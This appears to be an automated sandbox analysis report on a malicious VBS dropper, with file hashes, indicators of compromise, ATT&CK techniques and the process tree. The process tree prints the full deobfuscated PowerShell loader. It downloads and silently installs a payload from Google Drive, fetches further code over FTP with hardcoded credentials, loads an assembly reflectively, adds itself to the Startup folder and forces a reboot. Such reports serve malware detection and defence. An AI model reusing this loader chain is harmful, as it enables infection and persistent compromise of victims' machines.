601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6

General

Target

601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6.vbs
Size

681KB
MD5

c92735c228647df18945e50e80630e89
SHA1

a8e770aa44e41a62534f0ae5c6f5b7cc7ad2002e
SHA256

601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6
SHA512

9b1a6f215ff69c9bab7a6016e49ced06a0c4f932bc36135aba6a1c3e46ff6d2c9d41e2461c48696b59684b5358754813ed0df5df55f4307edfc16481ee7ea61a
SSDEEP

1536:9SSSSSSSSSSSSSSSSSSSSSSSx22222222222222222222222222222222222222D:6OGHvYKaY

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Signatures

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6.vbs	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2828	powershell.exe
2616	powershell.exe
3060	powershell.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe
File opened for modification	C:\Windows\Logs\DPX\setupact.log	wusa.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	wusa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2828	powershell.exe
2616	powershell.exe
2628	powershell.exe
3060	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2828	powershell.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	2628	powershell.exe
Token: SeDebugPrivilege	3060	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2140 wrote to memory of 2828	2140	WScript.exe	30
PID 2140 wrote to memory of 2828	2140	WScript.exe	30
PID 2140 wrote to memory of 2828	2140	WScript.exe	30
PID 2828 wrote to memory of 2616	2828	powershell.exe	32
PID 2828 wrote to memory of 2616	2828	powershell.exe	32
PID 2828 wrote to memory of 2616	2828	powershell.exe	32
PID 2616 wrote to memory of 2628	2616	powershell.exe	33
PID 2616 wrote to memory of 2628	2616	powershell.exe	33
PID 2616 wrote to memory of 2628	2616	powershell.exe	33
PID 2628 wrote to memory of 2656	2628	powershell.exe	34
PID 2628 wrote to memory of 2656	2628	powershell.exe	34
PID 2628 wrote to memory of 2656	2628	powershell.exe	34
PID 2616 wrote to memory of 3060	2616	powershell.exe	35
PID 2616 wrote to memory of 3060	2616	powershell.exe	35
PID 2616 wrote to memory of 3060	2616	powershell.exe	35

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 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= $qKKzc.replace('Ќз革' , 'A') ;$IedxR = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $nQCfu ) ); $IedxR = $IedxR[-1..-$IedxR.Length] -join '';$IedxR = $IedxR.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6.vbs');powershell $IedxR
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $TQMdF = $host.Version.Major.Equals(2) ;if ( $TQMdF ) {$MiRId = [System.IO.Path]::GetTempPath();del ( $MiRId + '\Upwin.msu' );$RYEaF = 'https://drive.google.com/uc?export=download&id=';$sBiiW = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $sBiiW ) {$RYEaF = ($RYEaF + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$RYEaF = ($RYEaF + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yHJhx = (New-Object Net.WebClient);$yHJhx.Encoding = [System.Text.Encoding]::UTF8;$yHJhx.DownloadFile($URLKB, $MiRId + '\Upwin.msu');$AUrGF = ('C:\Users\' + [Environment]::UserName );IzjAQ = ($MiRId + '\Upwin.msu'); powershell.exe wusa.exe IzjAQ /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6.vbs' -Destination ( $AUrGF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$uyrb = (New-Object Net.WebClient);$uyrb.Encoding = [System.Text.Encoding]::UTF8;$uyrb.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $uyrb.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$uyrb.dispose();$uyrb = (New-Object Net.WebClient);$uyrb.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $uyrb.DownloadString( $lBCzSg );$hzwje = 'C:\Users\Admin\AppData\Local\Temp\601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( '047141=ld?php.nibetsap/rf.nibetsap//:sptth' , $hzwje , 'true' ) );};"
    3⤵
    - Drops startup file
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2616
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe IzjAQ /quiet /norestart
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2628
    - - C:\Windows\system32\wusa.exe
        
        "C:\Windows\system32\wusa.exe" IzjAQ /quiet /norestart
        5⤵
        Drops file in Windows directory
        
        PID:2656
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3060

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
7c9c37e846fbb45e8ebea24968e95951

SHA1
413ffc723e9bd3960aef9fbcab8da8d62a10d131

SHA256
5fe0a72257306b54365e9720f31dcb0e7146e405108d2cf6f319b0d593699a9e

SHA512
60535094b8f92a7e8223a0079bb82791662a13a7898cae0aeb25c781b8bd07360419ae0d1cf013e2c94f3d287236de84ce494e38203fd0e2afb62b122e2c184a

Download Submit
memory/2828-4-0x000007FEF486E000-0x000007FEF486F000-memory.dmp

Filesize
4KB

Download
memory/2828-5-0x000000001B1E0000-0x000000001B4C2000-memory.dmp

Filesize
2.9MB

Download
memory/2828-6-0x00000000027B0000-0x00000000027B8000-memory.dmp

Filesize
32KB

Download
memory/2828-7-0x000007FEF45B0000-0x000007FEF4F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2828-8-0x000007FEF45B0000-0x000007FEF4F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2828-9-0x000007FEF45B0000-0x000007FEF4F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2828-10-0x000007FEF45B0000-0x000007FEF4F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2828-28-0x000007FEF486E000-0x000007FEF486F000-memory.dmp

Filesize
4KB

Download
memory/2828-29-0x000007FEF45B0000-0x000007FEF4F4D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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